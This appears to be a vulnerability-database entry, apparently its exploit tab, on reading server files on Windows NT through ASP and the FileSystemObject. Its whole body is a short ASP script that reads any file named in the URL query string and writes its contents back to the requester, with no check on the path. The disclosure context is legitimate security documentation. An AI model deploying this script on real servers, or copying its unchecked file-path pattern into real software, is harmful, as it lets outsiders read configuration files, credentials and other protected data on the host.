NT Using ASP And FSO To Read Server Files Vulnerability

info
discussion
exploit
solution
references

NT Using ASP And FSO To Read Server Files Vulnerability

<%
' grab the file from the URL
FileName = Request.QueryString("file")

' create the filesystemobject and open the file
Set fso = CreateObject("Scripting.FileSystemObject")
Set ts = fso.OpenTextFile(Server.MapPath(FileName))

' read the contents
ShowTheFreakinThing = ts.ReadAll

' display them
Response.Write ShowTheFreakinThing

' EOF
%>